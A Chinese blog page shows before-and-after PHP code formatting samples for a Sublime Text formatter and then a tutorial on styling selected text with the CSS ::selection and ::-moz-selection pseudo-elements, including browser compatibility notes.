<?php for($i = 0; $i < 10; $i++) { if($i%2==0) echo "Flipflop"; } // 格式化之后的样子 <?php for ($i = 0; $i < 10; $i++) { if ($i % 2 == 0) { echo "Flipflop"; } } ?> <?php $a = 10; $otherVar = 20; $third = 30; // 格式化之后的样子 <?php $a = 10; $otherVar = 20; $third = 30; <?php namespace NS\Something; use \OtherNS\C; use \OtherNS\B; use \OtherNS\A; use \OtherNS\D; $a = new A(); $b = new C(); $d = new D(); // 格式化之后的样子 <?php namespace NS\Something; use \OtherNS\A; use \OtherNS\C; use \OtherNS\D; $a = new A(); $b = new C(); $d = new D(); // PSR version <?php for($i = 0; $i < 10; $i++) { if($i%2==0) echo "Flipflop"; } // 格式化之后的样子 <?php for ($i = 0; $i < 10; $i++) { if ($i % 2 == 0) { echo "Flipflop"; } } <?php class A { function a(){ return 10; } } // 格式化之后的样子 <?php class A { public function a() { return 10; } } <?php namespace NS\Something; use \OtherNS\C; use \OtherNS\B; use \OtherNS\A; use \OtherNS\D; $a = new A(); $b = new C(); $d = new D(); // 格式化之后的样子 <?php namespace NS\Something; use \OtherNS\A; use \OtherNS\C; use \OtherNS\D; $a = new A(); $b = new C(); $d = new D();
如果需要下载使用新版sublime text3 并且免费注册,请查看这篇文章:
(Mrxn分享)Sublime Text 3 Build 3065 安装版注册+汉化
利用css3的属性来控制网页中被选中的文字颜色和背景色 代码人生
浏览器中默认的选中的文字颜色为白色,背景色为蓝色。并且在火狐和google两个不同的内核浏览器下效果也不一样,google浏览器的两段文字之间的空格也会添加上背景色,火狐的就不会,效果如下:
图一 是google浏览器下的效果截图
图二 是火狐浏览器下的效果截图
下面两图就是修改后的效果:
图一 是火狐浏览器下的效果
图二 是google浏览器下的效果
下面就来说说如何利用css3的属性来控制网页中被选中的文字颜色和背景色:
通过查阅资料得知,设置[code]body ::selection[/code]的css属性可以控制,我博客的效果设置代码如下:
[code] body ::selection {
color:#12C141;
background-color:#060606;
text-shadow:none;
}
body ::-moz-selection {
color:#12C141;
background-color:#060606;
text-shadow:none;
}
[/code]
其中的颜色和背景色可以更具自己的喜好来设置。
关于代码的几点说明:
(1)注意这里是两个冒号,不同于一般伪类的单冒号,此属性应用的css3属性;
(2)由于本站文字采用了[code]text-shadow:none;[/code]属性,而在文字选中后阴影会导致文字模糊,所以这里将阴影去掉,如果你的博客没有使用可以不用添加;
(3)ie6,7,8版本不支持此属性,ie9,10未测试;
经过测试,我的总结:
(1)IE9是支持此通过css定制选中文字的背景色的;IE7/IE8/IE9兼容性视图,都是不支持此效果的;
(2)关于选中的效果:IE9和FireFox都是存在行间距,而Chrome为整块选中状态,无行间距;
(3)上述背景色设置,使用[code]background-color[/code]或[code]background[/code],都是有效的